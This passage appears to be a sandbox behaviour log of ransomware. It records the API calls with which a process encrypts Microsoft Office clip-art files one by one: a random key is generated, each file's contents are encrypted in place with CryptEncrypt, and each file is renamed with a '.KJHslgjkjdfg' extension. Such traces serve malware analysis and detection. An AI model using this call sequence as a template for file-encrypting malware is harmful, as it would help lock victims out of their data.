Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.377] GetProcessHeap () returned 0x990000 [0193.377] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.377] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.380] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.380] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.380] GetProcessHeap () returned 0x990000 [0193.380] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.380] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.380] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.380] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.380] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.381] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.381] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.381] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.381] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.381] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.381] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.381] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x69cc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x69cc, lpOverlapped=0x0) returned 1 [0193.382] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x69d0, dwBufLen=0x69d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x69d0) returned 1 [0193.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.383] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x69d0, lpOverlapped=0x0) returned 1 [0193.383] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.383] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.383] SetEndOfFile (hFile=0x130) returned 1 [0193.392] GetProcessHeap () returned 0x990000 [0193.392] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.392] GetProcessHeap () returned 0x990000 [0193.392] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.kjhslgjkjdfg")) returned 1 [0193.394] CloseHandle (hObject=0x130) returned 1 [0193.394] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcfc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107132.WMF", cAlternateFileName="")) returned 1 [0193.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.395] GetProcessHeap () returned 0x990000 [0193.395] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.395] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.395] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.395] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.398] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.398] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.398] GetProcessHeap () returned 0x990000 [0193.398] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.398] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.398] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.398] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.398] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.398] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.398] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.399] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.399] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.399] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.399] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbcfc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbcfc, lpOverlapped=0x0) returned 1 [0193.400] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd00, dwBufLen=0xbd00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd00) returned 1 [0193.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.401] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbd00, lpOverlapped=0x0) returned 1 [0193.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.401] SetEndOfFile (hFile=0x130) returned 1 [0193.404] GetProcessHeap () returned 0x990000 [0193.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.404] GetProcessHeap () returned 0x990000 [0193.404] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.405] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.kjhslgjkjdfg")) returned 1 [0193.406] CloseHandle (hObject=0x130) returned 1 [0193.406] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107134.WMF", cAlternateFileName="")) returned 1 [0193.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.407] GetProcessHeap () returned 0x990000 [0193.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.407] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.407] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.407] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.409] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.409] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.409] GetProcessHeap () returned 0x990000 [0193.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.409] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.409] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.410] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.410] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.410] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.410] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.410] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.410] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.410] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbd04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbd04, lpOverlapped=0x0) returned 1 [0193.412] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd10, dwBufLen=0xbd10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbd10) returned 1 [0193.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.413] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbd10, lpOverlapped=0x0) returned 1 [0193.413] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.413] SetEndOfFile (hFile=0x130) returned 1 [0193.416] GetProcessHeap () returned 0x990000 [0193.416] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.416] GetProcessHeap () returned 0x990000 [0193.416] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.kjhslgjkjdfg")) returned 1 [0193.418] CloseHandle (hObject=0x130) returned 1 [0193.418] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107138.WMF", cAlternateFileName="")) returned 1 [0193.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.419] GetProcessHeap () returned 0x990000 [0193.419] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.419] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.420] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.420] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.420] GetProcessHeap () returned 0x990000 [0193.420] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.420] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.420] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.420] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.422] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.422] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.423] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.423] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.423] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4330, lpOverlapped=0x0) returned 1 [0193.424] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4330, dwBufLen=0x4330 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4330) returned 1 [0193.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.424] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4330, lpOverlapped=0x0) returned 1 [0193.424] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.424] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.425] SetEndOfFile (hFile=0x130) returned 1 [0193.428] GetProcessHeap () returned 0x990000 [0193.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.428] GetProcessHeap () returned 0x990000 [0193.428] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.kjhslgjkjdfg")) returned 1 [0193.429] CloseHandle (hObject=0x130) returned 1 [0193.429] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1 [0193.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.430] GetProcessHeap () returned 0x990000 [0193.430] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.430] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.430] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.430] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.433] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.433] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.433] GetProcessHeap () returned 0x990000 [0193.433] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.433] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.433] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.433] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, 